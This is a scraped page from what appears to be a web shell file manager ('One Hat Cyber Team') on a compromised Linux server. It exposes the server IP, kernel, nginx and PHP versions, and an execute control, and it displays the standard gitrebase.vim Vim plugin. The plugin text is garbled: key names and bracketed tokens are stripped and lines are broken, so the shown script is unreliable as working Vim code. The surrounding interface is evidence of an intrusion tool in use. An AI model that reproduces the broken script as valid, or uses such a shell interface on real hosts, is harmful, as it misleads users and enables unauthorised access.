⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.247
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
452945
/
root
/
usr
/
share
/
vim
/
vim82
/
ftplugin
/
View File Name :
gitrebase.vim
" Vim filetype plugin " Language: git rebase --interactive " Maintainer: Tim Pope
" Last Change: 2019 Dec 05 " Only do this when not done yet for this buffer if (exists("b:did_ftplugin")) finish endif runtime! ftplugin/git.vim let b:did_ftplugin = 1 setlocal comments=:# commentstring=#\ %s formatoptions-=t setlocal nomodeline if !exists("b:undo_ftplugin") let b:undo_ftplugin = "" endif let b:undo_ftplugin = b:undo_ftplugin."|setl com< cms< fo< ml<" function! s:choose(word) abort s/^\(\w\+\>\)\=\(\s*\)\ze\x\{4,40\}\>/\=(strlen(submatch(1)) == 1 ? a:word[0] : a:word) . substitute(submatch(2),'^$',' ','')/e endfunction function! s:cycle(count) abort let words = ['pick', 'edit', 'fixup', 'squash', 'reword', 'drop'] let index = index(map(copy(words), 'v:val[0]'), getline('.')[0]) let index = ((index < 0 ? 0 : index) + 10000 * len(words) + a:count) % len(words) call s:choose(words[index]) endfunction command! -buffer -bar -range Pick :
,
call s:choose('pick') command! -buffer -bar -range Squash :
,
call s:choose('squash') command! -buffer -bar -range Edit :
,
call s:choose('edit') command! -buffer -bar -range Reword :
,
call s:choose('reword') command! -buffer -bar -range Fixup :
,
call s:choose('fixup') command! -buffer -bar -range Drop :
,
call s:choose('drop') command! -buffer -count=1 -bar -bang Cycle call s:cycle(
0 ? -
:
) if exists("g:no_plugin_maps") || exists("g:no_gitrebase_maps") finish endif nnoremap
K col('.') < 7 && expand('
cword>') =~ '\X' && getline('.') =~ '^\w\+\s\+\x\+\>' ? 'wK' : 'K' nnoremap
:
=v:count1
Cycle
nnoremap
:
=v:count1
Cycle!
let b:undo_ftplugin = b:undo_ftplugin . "|exe 'nunmap
K'|exe 'nunmap
'|exe 'nunmap
'"